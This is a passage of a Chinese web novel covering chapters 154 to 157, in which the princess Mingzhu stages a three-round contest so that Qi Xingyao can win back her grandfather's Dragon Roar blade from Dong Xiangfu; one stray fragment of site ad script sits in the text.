可她们这些后院女子心里清楚，四叔只四婶婶一个妻子，夫妻和睦，家里没那么多污糟事，齐行遥还不用跟兄弟姐妹争宠，父母满心满眼都只有这个女儿。
因此，她们私心里，对齐行遥的疏离不谋而合。
更何况，祖母在时就不喜欢她这个孙女，得知她习武后，还严令禁止她出门，自此之后，她们就更少见齐行遥。
这次难得见她，那皮肤糙得跟男子似的，没个女孩子家的样子，就是打扮了也不好看，她们就更不把她放在眼里，现下说人在长公主宫里，众人才注意到齐行遥的位置空着。
“知道了，”惠妃为掩饰尴尬，也顾不上介怀，难得体贴道，“不急，让她在那边好好歇息，一会儿本宫派人接她。”
长公主宫里，齐行遥干净利落地来到明珠面前。
“不喜欢我挑的首饰吗？”
“不，殿下眼光极好，是行遥不习惯戴那些。”
她好不容易拆了满头的钗环，能简单竖起马尾，实在不想折腾头发，今早娘亲为她梳妆打扮时，她便已然心力交瘁，比扎两个时辰马步还累。
“总要为你选些赔礼，你家姐妹们都有，怎么能没有你的。”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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“殿下不必如此客气，原本，我们就不该拿。”
虽事出突然，但齐行遥还是看出了此事的蹊跷，她有心提醒，却见长公主面不改色，仿佛对真相并不在意。
事实上，的确如此。
明珠并不在意那些人的小心思，更不在乎送了她们多少东西。
几只镯子，几枚戒指，这些都是无伤大雅的身外之物，连资源都称不上，无非是炫耀的谈资，并不会让人身价多一份估值，争得一时之快，貌似光鲜，实则无用。
而齐行遥想要的，必然和他人不同。
送衣服回来的宫女说，此人不像是寻常闺阁女儿，手臂上有着许多旧伤，这恰恰说明，此人看似与世无争，实则隐忍至今，从未甘心。
看似平静的深潭下，暗含惊涛，只需要有一枚石子，便能触动那颗沉寂已久的野心，眼下，她要做那个投石问路的人了。
“既然你不喜欢那些珠宝首饰，不如选个别的，你心仪的东西。
“无论什么，我都会想方设法满足。”
对方话中藏着深意，齐行遥听得明白，她不知道长公主殿下为何要如此待她，其中究竟有什么目的，即便她说出口，真的就能得偿所愿吗？
齐行遥攥紧拳头，挣扎了许久。
“我想要，祖父留给镇国公的那柄大刀。”
齐铭生前善大刀，使得出神入化，曾被先皇盛赞举世无双，特赐有一杆龙吟偃月刀，这杆刀是齐铭出生入死的同伴，临终前交由其徒董齐川继承，如今被供在镇国公宗祠。
齐行遥自小立志承袭祖父衣钵，普天之下无人知晓，如今的她，是齐家后人中唯一深谙齐铭武艺之人，可谓是其不知名的传人。
面对家族颓势，齐行遥始终心有怨愤。
她不甘心，祖父经年的心血拱手让人，更不齿那些叔伯兄弟的自甘堕落，他们聚在一起时，总是一遍又一遍说着祖父的辉煌，却没有人站出来，重新挑起齐家的大梁。
他们不是男子吗？不是能建功立业吗？
一个个脑满肠肥的家伙，躺在祖辈的功劳簿上，躲在皇子皇妃的庇护下，不是在青楼楚馆中欺男霸女，就是在牌堆里倾家荡产。
齐家如此，又与绝后何异。
齐行遥看向明珠，眸中似有火光燎原，破釜沉舟。
“你想替齐家要回去？”
“不，为我自己。”
闻言，明珠难掩笑意。
还真是没让人失望，齐家，要变天了。
生长于旷野的荆棘，不以风沙屈服，不以暴雨折腰，它植根于大地，长出捍卫自己的尖刺。
“十日。十日后，我给你一个机会，届时，全要靠你自己去争了。”
一个真正的将军，内心须有着强大的自我，如火一般凶猛，无论出于家国情怀，是理想抱负，还是对于某一事物的执念。
她相信不久后，齐行遥将如飓风般，席卷大梁武将的整个格局。
154.吾命由吾
午膳过后，齐家的马车候在宫外。
众人临行前，惠妃不忘叮嘱齐慧雯和齐念雪。
“回去切记照顾好你们父亲，他如今身子不好，侯府有什么短的缺的，只管跟本宫和二皇子开口。”
提及齐侯，两个女孩子的脸色微变，心照不宣地对视了一眼。
自从父亲卧病在床，脾气愈发古怪了，从前脾气虽然大些，但对他们这些儿女还算亲和。
如今……
说句不孝的话，她们只想有多远躲多远，每日侍候在旁时，她们不敢说话，也不敢轻易走动，嬉笑玩闹更是不能，否则那双阴森森的眼神就这么盯着，瘆得人心里发毛。
唯有二皇子殿下来的时候，父亲态度和缓，她们也能好过些，故而盼着二皇子殿下过府，也不单是为了见殿下一面。
不过这些，惠妃娘娘不知，更不便从她们口中得知，否则要以为是她们刻薄，不顾惜父女恩情，因此只能低着头，小声应和。
回府的马车上，齐念雪瞥了眼坐在一旁，闭目养神的齐行遥。
“行遥姐姐，方才在惠妃娘娘宫里不见你，可把我们急坏了，若不是长公主殿下派人传信，我们还不知道上哪儿寻人呢。”
听到这话，正主没反应，齐慧雯先翻了个大大的白眼，现下这辆马车只她们三人，齐慧雯没忍住，开口嘲讽。
“妹妹还真是嘴甜，就是不知道有几句真心话。”
“姐姐这话什么意思，我自然是真心。”齐念雪不甘示弱，回怼道，“姐姐才是，自己在惠妃娘娘宫里享清福，早就忘了家里旁的姐妹吧，可别太出风头了。”
“呵，我是拜谁所赐，以为我看不出你那点上不了台面的心思。”
“我怎么了？”齐念雪满不在乎道，“我不过是胆子小，被豹子吓到了，说到底还不是姐姐自己不小心，站得离湖那么近。”
瞧见庶妹这蛮横耍赖的样子，齐慧雯被气得没了脾气，平素里，这个庶妹就被娇惯得不成体统，凭着撒娇卖乖在大人面前讨尽了便宜。
争利时说她是妹妹，要让着她，出力时说自己是姐姐，要担起担子。
从前她仗着在父亲和祖母面前得宠，没少给自己使绊子，今日更是变本加厉，可一想到母亲教诲过，自己将来是要登上后位之人，要有一国之母的气度，不必跟这些庶妹争口舌之快，齐慧雯便压下火气。
“我劝你别作茧自缚，得罪了长公主。”
“哈，姐姐现在装的好人。”齐念雪不乐意看她故作清高的样子，拆穿道，“也不知道先前是谁没要来请柬，说‘不就是个无宠公主上位，一张破请柬有什么好拿乔的’，姐姐说这话都不怕得罪长公主，我怕什么。”
“你——！”
在外人面前，还这般口无遮拦，齐慧雯狠狠瞪了她一眼。齐念雪倒是觉得无妨，齐行遥从小就是个木头桩子，跟她说什么都不懂回话。
留齐慧雯独自生着闷气，齐念雪也不再搭理对方，转而往齐行遥位置旁挪了挪，故作亲昵道，“行遥姐姐，你去长公主殿下宫里，殿下可有赏你什么？跟我们的一样吗？”
对方刻意的贴近令齐行遥不自在，她睁开眼睛，冷淡地看向对方。
四周陷入沉默。
“嘁，一看就没有。”齐念雪自讨没趣地坐回原位，“你哪是招人喜欢的人。”
齐行遥垂眸，手指摩擦着藏在袖管中的手帕，原本，她想着洗净后，亲手还给长公主殿下，却忘记了。
殿下说，十日后。
或许她们能再见到，到时候再还也不迟。
“回来了，今日进宫如何，惠妃娘娘身体还好吧？”
“都挺好。”
“今日，见过二皇子殿下了？”
“见了。”
“嗯……还，殿下还，一表人才吧。”
见女儿神色冷淡，齐宣不知如何开口，今日进宫明面上说是惠妃想看看家里的姑娘们，实则是替二皇子相看，二房和三房的人削尖了脑袋，拿出全部身家打扮自家女儿。
欸，说起这个……
“你今日出门时，不是这身打扮呀？”
他分明记得，孩儿今早难得不练功，好多年没见过她像个女儿家一样，梳妆打扮，丫鬟们把积灰的首饰盒翻出来，捯饬了半天。
怎么回来，又素面朝天了。
“父亲，”齐行遥神色凝重，问道，“齐家的女儿都要嫁给二皇子吗？”
齐宣一愣，二皇子自然是齐家择婿最好的选择，身份尊贵，又是亲上加亲，有惠妃娘娘在，定不会亏待齐家的女儿。
“倒也不用，只是天底下哪有比二皇子殿下更好的男子，为父也是想着，若能为你挣一个好前程，保你后半辈子衣食无忧。”
齐行遥沉吟片刻，开口道，“今日我见了长公主殿下。”
“是嘛。”
“殿下说，十日后，会助我拿回祖父的刀。”
“是嘛——啊？！”
齐宣听得一头雾水，不知怎么就没头没尾说到这里。
不是进宫相看吗，怎么就说要拿回刀，这都哪儿跟哪儿啊，十日后，十日后又要干什么？孩儿进宫一趟，究竟都干了什么呀？
“这……”齐宣没了主意，环顾左右，“要不，找你母亲商量商量？”
说着，齐宣忙吩咐下人。
“快，去找夫人过来。”
“找我什么事？”
正巧，吴氏听说女儿回来，刚一踏进门，就见丈夫神色不定，见她来像见了救命稻草似的，上次有这模样，还是五岁的孩儿瞪着他说要学武时。
“母亲，我想继承祖父衣钵，拿回龙吟偃月刀。”
看着齐行遥郑重的神情，吴氏上前，牵起女儿的手，那上面满是练功时留下的老茧，曾磨出血泡，破了又结痂，可即便如此，也不曾有一日懈怠。
齐家的妯娌们明里暗里都说，四房把孩子教
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坏了，可那些人又知道什么，任凭风吹日晒、流血流汗，她的孩儿从未叫苦喊累，那么小的身子举起大刀时，拿都拿不稳，一双眼睛却充满光亮。
“这很难。”
“孩儿知道。”
吴氏看着她，沉默了半晌。
“好。”
得到母亲的答复，齐行遥又看向父亲。
齐宣犹豫地看了眼吴氏，此事不小，交给他定夺确实强人所难，既然三人中两人都拿定了主意，他只得硬着头皮附和。
“行啊，挺好的……”
吴氏清楚，自己丈夫是个拿不起的软柿子，什么话到他嘴里总没有决断，只会依从旁人，女儿想学武艺他将人送去习武，齐老夫人不乐意他又把人关在家。
“老爷，你先出去，我有话跟孩儿说。”
“欸，你们说。”
听到这话，齐宣立马起身，一溜烟躲得没影儿。吴氏遣散了厅内下人，拉着齐行遥凑近坐着。
“那刀既然当年传给镇国公，虽说董将军未延用，可供在董家祠堂，有什么法子能拿回来？”
齐行遥便将与长公主的对话，向吴氏和盘托出，吴氏听后眉头紧锁。
“长公主……”吴氏斟酌道，“她不会无缘无故帮你，她素来和齐家没有交际，反倒是和董将军来往颇多，眼见这门婚事就要促成了，这当口，她为何要与齐家有所牵连？”
齐家这一年，可谓是水深火热，谁人不是避之不及。
先是齐铭老将军灵位被盗，齐家和三王闹得不可开交，而后齐侯被歹人暗害，京中又传起了此事幕后主使实则为董向阜，乃是董家早对齐铭将军不敬，意欲借此打压齐家。
时至今日，众说纷纭。
可只要宫里的惠妃和二皇子在，齐家就垮不了，长公主所为，恐怕是要丢车保帅，舍弃齐家那些腐朽的蛀虫，保下齐铭这座不败金身。
故而长公主扶持四房，在齐家另立山头，以便将来清算其他人。
齐家后辈中男儿不少，若是想找个好拿捏的上位，轻而易举，以把柄要挟叫他们大义灭亲，也并非难事，可她偏偏剑走偏锋，选了不易走的一条路。
由此可见，长公主不是随意行事，她是真的打算扶持自己的女儿。
思及此，吴氏暗自决意。
“行遥，你的名字是娘起的，意在行路长远，不困于足下。
“家族门楣、世代功勋，这些功劳不是自己的，便只能全然指望着他人，可别人的腰杆长不到自己身上。”
吴氏出身世家，在家族盛时与齐家四子齐宣订下娃娃亲，后偶遇变故，家道中落，齐老夫人一度想要退婚，只因齐宣平庸，性子懦弱又嫌相亲繁琐，才最终成了这段婚事。
经历过大起大落，吴氏明白靠山山倒，靠人人跑，她不希望自己的孩子，也落得如此彷徨。
“你记住，倘若有朝一日，齐家有何变故，你唯一要做就是——独善其身。”
155.同门之间的较量
北风过境，万物萧条。
短短几日，京城刹那间染上一层白霜。
十日之期就在眼前，落叶纷扰，心绪不免浮躁，庭院中，刀锋席卷过境，排山倒海般激起一层落叶，寒光中尽显肃杀。
不远处传来急促脚步声，齐行遥神色一凛，大刀收势。
丫鬟气喘吁吁地跑来，喊道，“小姐，长公主府送来了请帖！”
闻言，齐行遥将手中的刀递向小厮，小厮踉跄一步接稳，她拿过丫鬟手中的信函，仔细读过。
她将请柬收起，正色道，“跟母亲说，明日我要去趟京郊禁军大营。”
次日清晨，禁军大营严阵以待，今日贵人莅临，司徒大统领和两位副统领皆到场陪同，连士兵们平素的操练，都比往日严厉了许多，械斗、呐喊此起彼伏。
若是头一次来，恐怕要被气势吓到，好在北境时，明珠就已亲临过校场，此刻光顾，多了一份沉稳。
“这儿尽是些野蛮武夫，殿下别嫌弃。”
明珠注意到司徒大统领身后的两位副统领，其中一位，便是护送他们押运粮草的韦副统领，似乎是李凌霄的人。
“大统领哪儿的话，诸位将士保家卫国、捍卫皇城，我等本应敬重，怎么会嫌弃呢。”
“殿下此言，臣等不胜感激。”
校场的大门打开，司徒坤抬手示意远处支起的营地，还有位列其中的兵丁。
“应殿下之命，场地准备齐全，还有士兵们都已就位。”
“有大统领在，自然万事不愁。”
“哈哈哈，承蒙殿下抬爱。”司徒坤爽朗大笑，“殿下可要去看看那两个小子？”
回京之后，竹临和梅辛就又回到军营中，眼下应正和其他士兵一起操练。
“等今日之事有了定夺，再去看他们也不迟。”
“殿下说的是，殿下之前对臣说过，今日来的都是臣相熟之人，眼下不知能否告知，臣这心里好奇得很。”
明珠神秘一笑，“待会儿您就知道了。”
军营门口，驶来两队人马。
“吁——”
马上，董向阜勒住缰绳，见对面一行正巧停在军营前。
马车下来一女子，穿着束袖的正青长衫，手腕缠带和绑腿，装扮利落。
“齐行遥？”
那女子闻声，朝他这边抱拳拱手，以示回应，董向阜翻身下马。
“多年未见，如今倒有些认不出来了。”
“将军一如当年。”
“这一次，有把握胜吗？”
董向阜口吻平静，仿佛寻常询问，可听在齐行遥的耳中，不免有着居高临下的傲慢。
在师门下习武时，她从未胜过他，师父曾宽慰过她，说她年纪尚小，又是个女娃娃，比不了师兄力气大、对战经验丰富。
可齐行遥不愿为自己找借口，输了就是输了，与年龄、男女无关，战场上生死一线时，这些理由不会令人多活一刻，相反，若因此懈怠，只会成为自己的催命符。
齐行遥看向董向阜身后，侍卫抱着的封存完好的龙吟偃月刀。
“今日会有分晓。”
说罢，齐行遥迈步走进军营。
校场内，司徒坤坐在裁判席上，目光眺望着不远处进场的一男一女，面露惊讶。
“竟然是他二人！”
“如何，大统领？”明珠笑道，“这可是师门内的对决，大统领可要当好裁判。”
“哈哈哈哈哈，想来今日可偏私不得喽。”
人到齐了，明珠站在台上，宣读规则。
第一场为沙盘对垒，第二场为破阵法，第三场为擂台比武，三局两胜，胜者可拿到对方所出的赌注，董向阜的自然是那把龙吟偃月刀。
台下，齐行遥听到规则，眉头皱起，她来前并不知道其中细则，既然董向阜那边出了赌注，就意味着她也一样，否则岂不是空手套白狼。
“殿下，我——”齐行遥面露难色，“没有什么能给的。”
明珠了然一笑，“你的赌注我来出。”
“这怎么能行！”
“我说过要给你这个机会，就不会食言，去吧，赢了就行。”
齐行遥感激地看了眼明珠，不再矫情。
这次，她不仅要为自己，也为长公主殿下赢得胜利。
号角声和击鼓声响起，对垒的风沙涌起，不由叫人收紧心绪。
第一场，沙盘对垒。
场地内分为红蓝两个阵营，每个阵营各有十个步兵（即黄袖士兵），一个为一万兵力；五个骑兵（即橙袖士兵），一个为两万兵力。
双方营帐前共有三块区域——峡谷、草地、沙漠，一日为一回合，回合开始前，将全部兵力在三个区域进行部署。
从峡谷进攻，用时为一日，视野受阻，双方兵力不可视。一旦对方在峡谷上方设伏，至少一万兵力，便视为进攻方全军覆没。伏击兵力无法直接进攻，须耗费一日返回大营后再进攻。若两军在峡谷内相遇，则兵力相抵计算剩余。
从草地进攻，用时为两日，视野开阔，双方兵力可视。两军相遇，则兵力相抵计算剩余。
从沙漠进攻，用时为三日，视野受风沙阻碍，双方兵力不可视。沙漠中央含有流沙，前进至此要被流沙吞噬一半兵力。两军相遇，则兵力相抵计算剩余。
第三日，即第三个回合后结算，先攻破敌方大营即为胜。
开局前，有半炷香的时间谋定策略。
裁判台上，明珠问道，“
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大统领觉得，谁会先拿下一局？”
“嗯……”大统领摸着胡子，思索道，“依臣之见，该是董向阜那小子，否则他在北境这些年可是吃白饭的。”
蓝方营帐中，齐行遥扫视一周，营帐内设有一座外景的小型沙盘，还有十五位士兵列队等候在侧。
她观察着这三个区域，手中旗帜随着思绪，摆上阵来。
为避免对方选此捷径，峡谷之上必然设有伏击，一万兵力即可抵挡。草原上兵力可视，必将彼此消耗。
如此，就只剩下——沙漠。
“主将，红方率先派兵了。”
齐行遥诧异，问道，“多少人？”
“五万骑兵。”
也就是十万兵力。
对方为何要提前布兵，这是示威，还是诱饵？
不过既然红方所出十万兵力，那她至少也要拿出十万兵力，可即便如此，这十万兵力相抵，又有何意。
坛中的香所剩无几，齐行遥眉头紧锁。
“峡谷上一个步兵埋伏，草原五个骑兵，沙漠九个步兵……”齐行遥握拳道，“不，草原再加三个步兵，沙漠六个。”
倘若对方将峡谷中兵力召回，投入草原，便可作后续补发，她提早多出三万，以免对方后续增兵，己方落下风。
那么，峡谷可能会出缺，若她选第一日伏击，第二日撤回后进攻，说不定可以打对方一个措手不及，但若是对方也有此想法，在峡谷投入更多兵力，届时双方在峡谷相遇，或平或败。
不过，己方草原兵力较多，即便峡谷失守，也能由草原抵达红方营帐。
营帐外，传来喊声。
“时间到——”
齐行遥头上冒出细汗，箭在弦上，不得不发了。
“峡谷上的步兵第二日返回，第三日从峡谷进攻。”
第一日，峡谷未收战报，草原蓝方多出三万领先，沙漠不明。
第二日，红方在草原增兵四万，阻截蓝方三万后余一万领先。
“四万？！”齐行遥诧异道。
这样一来，对面的草原有了四万增兵，比她多出一万，也就是说，对方在峡谷留守了四万甚至五万的兵力，第一日就选择撤回，重新投放到了草原战场。
那么在沙漠，对方可能选用五万到六万兵力。
第三日，蓝方在峡谷遭到伏击，全军覆没。
齐行遥忐忑地盯着沙盘上的布局，草原对方剩余一万兵力，自己注定失守了。
对方在峡谷仍留有兵力，那么沙漠中至多只有五万兵力，她有六万，就还能一战，回合结束时，便能同时攻破对方大营。
齐行遥没忍住，走出帐外，等待最终的结果。
“回合结束，红方胜——！”
156.长风破浪会有时
比赛结束，红方的步兵已经抵达齐行遥的帐前，而对面董向阜的营帐前，却空无一人。
败了。
没有平局，是实实在在的落败。
“怎么会……”齐行遥不解道。
她走上前，掀开沙漠布景的纱布，里面却剩下红方的两人。
怎么会，她明明出了六万的兵力，而对方草原十四万、峡谷一万，余下的只有五万，为何相抵后，对方还有两万？
——沙漠中央含有流沙，前进至此要被流沙吞噬一半兵力。
流沙……
对方没有被流沙吞噬吗？
看到红方步兵站位后，齐行遥猛然惊醒。
对方在进入沙漠后，便没有继续进攻！
这时，董向阜也从营帐中走了出来，见她在场地中站着，一眼看穿了她的想法。
“沙漠貌似是一场豪赌，却是最不明智的选择。”
在沙漠中前进至第二日，兵力将折损一半，在双方兵力相当的情况下，将兵力耗损于此，难免得不偿失。
董向阜率先在草原布兵十万，那么对方也至少要出十万，即便相抵，也起到了制约对方的作用。
倘若彼此各出一万埋伏峡谷，那么对方可用的兵力只剩下九万，接下来，即便对方将九万全然投放进沙漠，待到流沙后，也剩下四万五。
于是董向阜下令，让沙漠中的士兵在第一日止步，如此，红方只需在此留存至多五万，等对方耗损一半兵力后，即可抵挡对方进攻。
齐行遥直视着董向阜，说道，“是我输了。”
“你久不闻战事，时间紧迫，来不及应变也是情理之中。”
董向阜难得替人宽慰两句，对方却伸手制止了他。
“将军不必再说，输了就是输了，下一场，我会赢回来。”
裁判席上，司徒坤望着场地中的两人，仿佛又看到从前，那个坚韧不屈的身影，曾几何时，纵使被打得趴在地上，小丫头也不吭一声，重新拾起木剑。
只可惜，齐家后来不许齐行遥习武从军，否则，凭借齐家的名号，那孩子说不定现如今，也会和董向阜一样建功立业。
“行遥那孩子，要感念殿下的恩情啊。”司徒坤不免感慨道。
若非长公主殿下今日谋划，那孩子恐怕还要困于深闺，用不了多久，就要在长辈驱使下嫁人生子，从此远离沙场铁血，以她的心性，只怕比死更难受。
“今日之事，全凭她自己，我不过是顺水推舟。”明珠浅笑道，“希望她不会辜负自己这些年的沉淀。”
场地被拆解，一眨眼的功夫，夷为平地，一旁蓄势待发的士兵们迅速整队，按演练后的队形站位。
第二场，破阵法。
九宫八卦阵，俗称黄河九曲，以八卦阵为引，九宫即为乾、坎、艮、中、震、巽、离、坤、兑，中军，骑步相合，面对面背对背，又可互换，称为阴阳交替。
此番演练，缩减了全阵规模，采用一百零四骑兵，一百步兵，外围分为八组。率先破此阵法，夺得阵中旌旗者，即为胜。
比赛开始前，二人在架上挑选兵器。
驾马进攻，选用长兵刃为宜，董向阜扫了一圈，选了杆长枪，而齐行遥目不斜视，径直朝那杆长柄刀走去。
“大刀？”郭副统领嗤笑道，“她能拿得动吗？”
话音刚落，齐行遥单手取下那杆大刀，随手掂量了两下，比她平日所用的轻了些，不过还算趁手。
见状，郭副统领不吭声了。
“我记得齐铭将军生前，最善用大刀，莫不是这丫头承袭了祖辈武艺？”韦副统领问道，“她曾在司徒大统领门下拜师，不知大统领对此可有了解？”
司徒坤还未开口，就听郭副统领抢先搭话，为他自己方才找补似的。
“韦兄也太看得起她了，一个丫头片子，如何能与齐铭将军相提并论，我看不过是想借祖上的光才选的大刀，会不会使还两说呢！”
“……郭副统领说的也有理。”
韦副统领不想当众驳了对方的面子，附和了一句，含糊过去。
“郭副统领，”明珠瞥了那人一眼，淡淡道，“凡事，还是不要轻易下定论。”
郭副统领一听就不乐意了，刚想开口说些什么，又碍于身份，不得已将本来的话咽了回去，换了套说辞。
“殿下久居宫中，怕是对这些不熟悉，才会被她那些不入流的小把戏唬住。”
明珠无奈，这人还真是心眼又窄，情商又低，齐行遥怎么说也是司徒大统领的弟子，这人还说人家是不入流。
见没人搭理，郭副统领不甘心似的，换人问道，“大统领，您怎么看！”
“哈哈哈我哪儿说的准。”司徒坤也没争执，乐呵呵道，“我也想看看，那孩子现如今能练到哪一步。”
鼓声擂起，比赛开始。
不远处便是气势汹汹的阵法队伍，遁甲围着步兵，后排架起骑兵，层层叠叠，浑然一体，犹如一面兵卒与兵刃的连体盾牌。
对视一眼后，二人同时翻身上马，向前方疾驰。
破阵最重要的是找到阵眼，而九宫八卦阵最玄妙之处，就在于变幻莫测，不同于方阵，只
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要有一处破口，队列中便会由内而外填补阵法。
脚步声于场中回荡，整齐划一，铿锵有力，一眼望去，仿佛寻不到丝毫破绽。
阵法就在眼前，齐行遥大刀一横，提气吐息，手臂上青筋绷起，只见她骤然发力，刀身在双手间飞速轮转，那把数十斤重的刀在身前旋转，犹如风刃，削铁如泥。
霎时间，风沙涌起，仿佛周围的气都被卷走。
“气合——”
众人闻声望去，只一眼，大刀呼啸而过，以迅雷之势，如入无人之境。
“龙吟九式，破阵！！”
随着这一声吼声，强大的威势自上而下，横扫过境，士兵们还来不及反应，便如镰刀下的麦穗，顷刻间，被尽皆扫除。
“！！！”
“她怎么做到的——？！”
“那不是齐铭将军的招式吗？！”
周围发出惊叹，连裁判席上的几位都不禁起身，一张张脸上写满惊诧。唯有司徒坤坐定其中，望着那抹不羁身影，眼中流露出欣慰。
场上，齐行遥纵马一跃，径直来到旌旗前，她望向台上的明珠，高举起那把鲜红的旗帜，任凭沙土扬尘席卷，她自岿然不动。
裁判的人醒了神，忙高声宣告。
“第二场，蓝方胜——！”
谁都没有想到，齐行遥竟能在顷刻之间将阵法突破，而她所用，竟然是齐铭业已失传的龙吟刀法。
此法力速双绝，在战场上势如破竹，无人可挡，齐铭和董齐川身故后，已鲜少有人亲眼见证过。
可就在今日，在齐行遥身上，龙吟刀法得以重见天日。
“看来，她早就等着这一天。”
明珠起身，与场上之人遥遥相望，隔着数百人的视线，此刻，两股澎湃的心潮仿佛定格在同一幅度。
琴与筝，刀与剑，在无声中激昂奏响，于无形中指向一方。
众人心绪尚未平复，第三场擂台比武，已然拉开序幕。
演武场上，双方站定。
“没想到，齐家继承龙吟刀法的人，居然是你。”董向阜也不禁感叹，“我原以为这些年，你待字闺中，会变得和那些女子一样。”
齐行遥瞥了他一眼，对于眼前这个人，她倒是一如既往的不喜，儿时的她或许出于嫉妒，或许出于胜负欲作祟。
而如今，她确是发自内心的排斥，在这个人眼中，从未真正看得起任一女子，而他的优越并非只来源于自我，而是整个世道。
齐行遥反手一拧，将大刀立在身前，挡在二人视线之间。
“请。”
157.长公主的赌注
擂台比武，顾名思义。
规则其一，打到对方认输，其二，有一方离开擂台即算认输。
董向阜手持一杆长枪，与重武不同，长枪枪身轻盈，下盘立稳时，长枪伸缩自如、穿透有力，随形一跃，长枪便可呼啸而出，如钩如箭。
只见他向下一砸，被对方闪过，立时，长枪一甩，手握枪头，朝她直直刺去。见状，齐行遥倾身，用刀面挡住攻势，利刃相持，电光火石。
擂台上局势胶着，那二人正打得难解难分。
“大统领，这一局，您觉得谁会赢？”明珠问道。
望着台上，司徒坤思索良久，未有断言。
一旁，郭副统领插话道，“定然是董将军啊，你看那丫头被连连逼退，简直毫无招架之力。”
“可方才你也看到了，她使得可是龙吟刀法。”韦副统领反驳道。
“即便如此，她能练成什么样你我不得而知，董将军可是在北境厮杀出来的本事，不比她站得住脚？
“韦兄于二皇子门下待得久了，也太偏向齐家了，别忘了，此番平定戎狄的人可是董将军，你是觉得董将军会不如她一个未出阁的小丫头？”
“郭副统领此言何意，我不过是就事论事！”
随着两位副统领的争执，周围讨论声响起，一时间，场面有些收拾不住，司徒坤出来打圆场。
“好了好了，待此局结束，一切自会分晓。”
台上，眼看齐行遥退无可退，离擂台边缘咫尺之遥，周围人不禁屏息凝神，为她捏一把汗，齐行遥仍神色不变。
只见她趁势反身蹬地，大刀盘腰，绕身一周，自下而上，如旋风般横扫一片，使得对手无法近身，而后从肩处接过，一气呵成。
局势立马转危为安，她却没有因此防守喘息，而是接连出手，大刀尾部向前一顶，逼退对手，不给人可乘之机，随即大刀翻过，向前挥去。
这一套连招下来，董向阜面染狂热，难得有这等酣畅淋漓的对决，什么手下留情、照顾同门的心思都被抛诸脑后，他长枪一凛，直面迎上。
台上愈打愈烈，人们光顾着战况，全然忘了时间，到了晌午放饭，场外的人越聚越多，训练暂停的士兵们都挤在外面，也顾不上吃饭，纷纷驻足，欣赏这场精彩对决。
明珠托着下巴，“这要打到什么时候……”
这两个时辰下来，他们两人过了百招有余，却还是分不出胜负，也未见谁落了下风，难不成要打一整天。
不知是否接收到信号，齐行遥出刀的动作猛然加快，她下盘扎稳，双手握把。
“龙吟一式，出云。”
终于！
周围人不禁惊呼，失传的龙吟刀法今日终于得见。
齐行遥手中大刀左右横挑，几个侧身后，拿住尾部，大力甩出刀身，一个翻身起跳，大刀从天而降。
“龙吟三式，降雷！”
此式乃为单招中威力最凶猛的一招，气势之强悍，超乎寻常，劈天裂地般向下砍去，众人不禁担忧，董向阜是否能接下这一招。
这时，擂台上发生了意外。
大刀在砍下时，刀把不堪重负，木杆中央裂开了缝隙。
龙吟刀法凶猛，以大刀本身负重化为势能，一般的大刀重量不足，难以发挥其应有的威力，反而会形成损耗。
而董向阜也未能料到，出手的力度没来得及收，刀身就这样折断，朝着裁判席弹射了出去，众人始料未及，已然来不及出手。
“殿下！！”
“长公主殿下！！”
千钧一发之际，一个身影闪现在明珠身前。
呯——！
袭来的刀头被剑拦下，刀势急转，铛的一声钉进了身后的柱子里。
见状，司徒坤将手中出鞘的剑收回，转而将柱子上的刀身拔出，撂在桌上。照刚才的角度，那把刀不会落在长公主身上，因此他出手慢了一步，没想到这小子护驾倒是挺快。
“呼……”
竹临握剑的手被震得发颤，却顾不上自己，急忙走上前。
“殿下，您无碍吧！”
一眨眼的功夫，众人乌泱泱凑在跟前，明珠这才醒神，摆了摆手。
“我没事。”
刚才发生了什么？
擂台上的两人也纷纷下场，赶来谢罪。
“殿下，臣等罪该万死！！”
“我这不是没事嘛，”为免他们过于自责，明珠玩笑道，“你看你们都下来了，比赛怎么办，我可是饿得看不了第二次了。”
不远处，一个苍老的声音响起。
“是齐家那个孩子赢了。”
喧闹声停了，众人退散两侧，为前来的轿辇让路，轿辇上的老人满脸沟壑，依稀可见其轮廓，和董向阜有些相仿。
“董老将军？！”司徒坤认出来人，起身相迎，“您怎么亲自来了？！您不是一向静养吗？”
“咳咳，向阜跟老夫说了此事后，老夫始终放心不下，就想着来看一眼。”
董季昌掩面咳嗽了两下，继续道，“老夫已是风烛残年，能在最后看到齐家刀法的传人，也算是不枉此生了。”
台上，明珠起身，向董季昌行礼。
眼前这位可称得上是旧时代的活化石了，就连皇帝见了也须礼敬三分。
董家世代簪缨，历代忠良，董季昌年轻时曾任齐铭的副将，和他一起出生入死，其子董齐川拜于齐铭为师，接任北境被封为镇国公，其孙董向阜是名扬京师的镇北将军。
现如今，军中仅存的中流砥柱多半都是其亲随部将。
今日比试之事，原就是董齐两家的大事，齐家那边没人做主，董家可是有董老将军坐镇，因此明珠事前托董向阜将此事言明，没想到董老将军一口答应。
“董老将军。”
“长公主殿下，许久未见，咳咳，都长成大姑娘了。”
董老将军话中满是慈祥，即便素昧平生，明珠也不禁对这位老爷爷多了一分敬爱，她想，今日董老将军现身，或许也是想为过去之物寻个归宿。
“你叫什么名字？”董季昌将视线移向一人，问道。
“回老将军，小女齐行遥。”
齐
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家后辈总算出了可塑之才，董季昌欣慰地笑了。
“好啊，这名字好，咳咳，望你今后能代你祖父，让齐家走得更远。”
此话一出，众人眼中多了一丝慎重，今日这场比试，由长公主殿下发起，现下又有了董家老将军到场，这句话的分量可想而知。
齐行遥这个名字，要在大梁武将中有一席之地了。
“既然你已习得龙吟刀法，那把龙吟偃月刀，该物归原主了……”说罢，董季昌又咳嗽起来。
“老将军，此处风大，您还是赶快回府静心安养！”司徒坤关切道。
“一把老骨头了，看着这些孩子年少有为，老夫心里高兴，司徒，你也是如此吧。”
混浊的瞳仁中映着一张张脸，董季昌想起曾经的北境，也是如此热闹，当时的司徒坤还是跟在他们屁股后头的毛头小子，成日浑不吝的模样，被齐铭吊在树上打。
“是。”司徒坤难得失态，抹了把泪，感慨道，“齐铭将军也会高兴。”
提起旧人，董季昌却笑了，身子不好，笑一阵咳嗽一阵。
“哈哈哈哈，那人才不会，他懒得搭理别人。”
老将军如今体弱不宜受风，说了几句话便咳嗽不止，被众人劝着回去静养。临行前，董季昌看到竹临，不忘赞许。
“小家伙身手不错，是个好苗子。”
送走了董老将军，又将围观的士兵们遣散，演武场恢复了秩序。眼下，既然胜负已分，就到了兑现的时刻。
“殿下代我付的赌注，究竟是什么？”齐行遥不禁问道。
明珠从怀中取出一本小册，说道，“我的庚帖。”
